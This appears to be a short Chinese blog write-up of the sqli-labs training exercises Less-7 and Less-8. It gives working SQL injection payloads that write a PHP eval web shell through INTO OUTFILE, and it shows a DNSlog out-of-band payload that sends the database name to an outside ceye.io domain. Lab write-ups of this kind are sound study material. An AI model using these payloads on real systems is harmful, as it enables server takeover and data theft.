less7-less8

less 7  是上传文件

前提是要修改mysql 数据库配置文件my.ini 

参数secure_file_priv=''

payload

http://192.168.1.30/sqli-labs-master/Less-7/?id=2')) union select 1,2,3 into outfile? "C:\\php\\WWW\\sqli-labs-master\\Less-7\\test.txt"--+

写入 一句话木马

http://192.168.1.30/sqli-labs-master/Less-7/?id=2')) union select 1,2,"<?php eval($_POST["cmd"]);?>" into outfile "C:\\php\\WWW\\sqli-labs-master\\Less-7\\test4.php"--+

less 8 是 布尔盲注直接用sqlmap 跑

在网上找到对注入新的玩法,利用dnslog进行注入

前提也是数据库能读写文件

http://192.168.1.30/sqli-labs-master/Less-8/?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1)--+

按我理解就是发送请求给服务器,数据库调用load_file函数,在本地找不到相关对象,就会访问域名服务器,访问域名服务器,域名服务器就会收到信息。

 

posted @ 2020-02-14 22:20  我叫酸菜鱼  阅读(153)  评论(0编辑  收藏  举报